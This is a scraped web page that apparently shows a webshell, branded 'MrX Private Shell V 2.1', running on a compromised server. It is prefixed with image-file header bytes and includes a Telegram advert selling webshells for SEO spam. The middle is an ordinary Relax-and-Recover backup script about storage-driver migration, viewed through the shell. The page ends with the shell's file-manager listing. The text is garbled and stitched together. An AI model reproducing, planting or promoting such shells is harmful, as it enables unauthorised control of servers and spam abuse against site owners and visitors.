����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Find the storage drivers for the recovery hardware.
# Skip if not recover WORKFLOW:
test "recover" = "$WORKFLOW" || return 0
# A longer time ago udev was optional on some distros.
# This changed and nowadays udev is not optional any more.
# See https://github.com/rear/rear/pull/1171#issuecomment-274442700
# But it is not necessarily an error if the storage drivers
# for the recovery hardware cannot be determined:
if ! have_udev ; then
LogPrint "Cannot determine storage drivers (no udev found), proceeding bona fide"
return 0
fi
FindStorageDrivers $TMP_DIR/dev >$TMP_DIR/storage_drivers
if ! test -s $TMP_DIR/storage_drivers ; then
Log "No driver migration: No needed storage drivers found ('$TMP_DIR/storage_drivers' is empty)"
return 0
fi
# During "rear mkbackup/mkrescue" 260_storage_drivers.sh creates $VAR_DIR/recovery/storage_drivers
if cmp -s $TMP_DIR/storage_drivers $VAR_DIR/recovery/storage_drivers ; then
Log "No driver migration: '$TMP_DIR/storage_drivers' and '$VAR_DIR/recovery/storage_drivers' are the same"
return 0
fi
if is_false $REBUILD_INITRAMFS ; then
LogPrint "WARNING:
Changed storage drivers require recreating initramfs/initrd
but it will not be recreated (REBUILD_INITRAMFS='$REBUILD_INITRAMFS').
It might work with the initrd 'as is' from the backup restore.
Before reboot check the recreated system (mounted at $TARGET_FS_ROOT)
and decide yourself, if your recreated system will boot or not.
"
else
LogPrint "Will do driver migration (recreating initramfs/initrd)"
fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 230_storage_and_network_modules.sh | File | 1.7 KB | 0644 |
|
| 260_recovery_storage_drivers.sh | File | 1.5 KB | 0644 |
|